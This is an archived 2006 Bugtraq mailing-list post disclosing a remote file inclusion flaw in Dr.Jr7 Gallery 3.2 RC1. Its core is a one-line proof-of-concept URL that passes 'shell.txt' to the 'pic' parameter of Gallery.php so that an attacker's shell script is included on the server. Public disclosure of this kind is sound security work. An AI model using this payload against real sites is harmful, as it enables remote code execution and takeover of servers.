Remote Include Vulnerability ====> in Dr.Jr7 Gallery 3.2 RC1

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: Remote Include Vulnerability ====> in Dr.Jr7 Gallery 3.2 RC1
From: R0t-K33Y@xxxxxxxxxxx
Date: 28 Jul 2006 12:41:32 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

TitLe : Remote Include Vulnerability  ====> in Dr.Jr7 Gallery  3.2 RC1


eXpLoIt :

http://[target]/[path]/Gallery_one/Gallery.php?pic=shell.txt

By : R0t-KeY

--- s33 u  ; )

Prev by Date: [ MDKSA-2006:132 ] - Updated libwmf packages fixes integer overflow vulnerability
Next by Date: RE: Bypassing Oracle dbms_assert
Previous by thread: [ MDKSA-2006:132 ] - Updated libwmf packages fixes integer overflow vulnerability
Next by thread: [Announcement] Apache HTTP Server 2.2.3 (2.0.59, 1.3.37) Released
Index(es):
- Date
- Thread